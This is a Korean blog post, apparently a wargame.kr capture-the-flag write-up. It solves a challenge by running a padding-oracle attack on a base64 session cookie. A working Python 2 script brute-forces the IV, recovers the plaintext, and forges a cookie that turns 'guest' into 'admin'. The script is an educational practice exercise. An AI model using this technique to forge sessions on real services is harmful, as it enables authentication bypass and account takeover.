들어가보면 로그인 창하나가 나오고 로그인해보면 다음과 같이 세션을 할당받은 후 다시 메인페이지로 요청을 하는데 이 때 세션값을 통해 guest로 로그인된 것을 확인을 하는 것을 볼 수 있고 admin으로 로그인을 하면 된다.

 

id password 입력할때 injection일 터질거라고 생각하고 시도해봤지만 통하지 않았고 세션값을 어떻게 조작해야될거란걸 알 수 있었다.

 

세션값을 보면 base64로 인코딩된 값 2개가 붙어있는걸 볼 수 있고 임의의값으로 변경을해보면 패딩이 실패했다는 메시지가 뜬다.

 

딱봐도 Oracle Padding attack이다.

 

로직을 판단해보면 로그인 후 할당받은 base64인코딩된 세션값은 IV와 IV와 평문text를 통해 암호화된 값이라고 판단할 수 있고 Oracle Padding Attack을 통해 IntermedirayValue 값을 알아낸 후 원본 평문 텍스트를 구하여 이를 서버가 admin으로 판단할 수 있는 값으로 변경한 다음 IV를 다시 재세팅해서 보내주면 될 것 같았다.

코드를 짜서 돌려보니 다음과 같이 나왔다.

 

 

코드


import requests

def exploit(payload):
url = "http://wargame.kr:8080/dun_worry_about_the_vase/main.php"
headers = {"Cookie":"L0g1n="+payload}
result = requests.get(url,headers=headers).text
print result
if "padding error" not in result:
return True
else:
return False


iv = ["\x00","\x00","\x00","\x00","\x00","\x00","\x00","\x00"]
wonbon_iv = "tmp8cbAU4IA=".decode("base64").encode("hex")
enc = "aFAD3Z6xbrU="
iv_xor_env = ""
for j in range(1,9):
for i in range(0,257):
iv[8-j] = chr(i)
brute_iv = ("".join(iv)).encode("base64").replace("\n","")
if exploit(brute_iv+enc)==True:
iv_xor_env += chr(j^i)
print iv_xor_env[::-1].encode("hex")

for k in range(0,j):
iv[7-k] = chr(ord(iv_xor_env[k])^(j+1))
print "".join(iv).encode("hex")
break

iv_xor_env = iv_xor_env[::-1].encode("hex")
dec_text = ""
exploit_iv = ""
for i in range(0,len(wonbon_iv),2):
dec_text += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + wonbon_iv[i:i + 2], 16))
print dec_text
replace_text = dec_text.replace("guest","admin").encode("hex")
for i in range(0,len(iv_xor_env),2):
exploit_iv += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + replace_text[i:i + 2], 16))

replace_text = exploit_iv.encode("base64").replace("\n","")
print replace_text

exploit(replace_text+enc)
 

Oracle Padding Attack 개념익힌 후 연습겸 풀어봤는데 내가봐도 코드가 더럽다. ㅋ 코딩좀 많이많이 해봐야겠다. 

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr zairo  (0) 2018.05.09
wargame.kr Crypto Crackme Basic  (0) 2018.05.09
wargame.kr mini TBR  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,